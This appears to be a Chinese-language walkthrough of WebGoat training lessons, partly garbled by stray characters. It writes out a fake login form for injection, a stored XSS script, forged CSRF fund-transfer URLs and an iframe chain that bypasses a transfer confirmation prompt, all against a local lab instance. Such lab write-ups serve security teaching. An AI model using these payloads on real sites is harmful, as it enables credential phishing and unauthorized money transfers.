<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
Stage 1: Stored XSS
進(jìn)入tom的編輯頁(yè)面,將任意輸入框中的數(shù)據(jù)改為<script>alert(/xss/);</script>并保存谨朝,使用jerry的賬號(hào)登錄卤妒,訪問(wèn)tom的編輯頁(yè)面
<script>alert(/xss/)</script>
CSRF
stage 2
原鏈接:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900
構(gòu)造后:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=4000
構(gòu)造img:

繞過(guò) CSRF 確認(rèn)( CSRF Prompt By‐Pass)
轉(zhuǎn)賬請(qǐng)求需要用戶確認(rèn),通過(guò)構(gòu)造多個(gè)請(qǐng)求字币,繞過(guò)用戶確認(rèn)環(huán)節(jié)则披。第二個(gè)請(qǐng)求必須在第一個(gè)請(qǐng)求結(jié)束后被載入。所以需要添加javascript 以實(shí)現(xiàn)在第一個(gè)請(qǐng)求結(jié)束后自動(dòng)載入第二個(gè):在第一個(gè)frame 的屬性中添
加onload 參數(shù),設(shè)置src 為第二個(gè)frame洗出。
<iframe
src="http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=400"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
效果如圖:
上圖第一個(gè)frame 顯示了用戶確認(rèn)信息收叶,這是第一位早的請(qǐng)求所觸發(fā)的結(jié)果。第二個(gè)
frame 顯示的是偽造的確認(rèn)請(qǐng)求觸發(fā)的結(jié)果:4000 美元已經(jīng)成功轉(zhuǎn)賬共苛。刷新頁(yè)面,完成根據(jù)
本節(jié)課程蜓萄。
事實(shí)上隅茎,在真實(shí)的攻擊中以上信息將被隱藏。點(diǎn)擊"restart this lesson"后再次對(duì)網(wǎng)站發(fā)起
攻擊嫉沽,本次攻擊嘗試使用隱蔽或非常小的frames 實(shí)現(xiàn)攻擊信息隱藏辟犀。

<img id="image2" width="1" height="1" />
對(duì)于開(kāi)發(fā)者來(lái)說(shuō)限制CSRF 的一種方法是只允許通過(guò)HTTP POST 提交參數(shù)。該方式將屏蔽通過(guò)iframe 和images 方式發(fā)起的攻擊绸硕,但對(duì)JavaScript 中的XmlHTTpRequest 無(wú)效堂竟。由于額外的信任,您可以嘗試通過(guò)XmlHTTpRequest發(fā)起基于POST 的攻擊玻佩。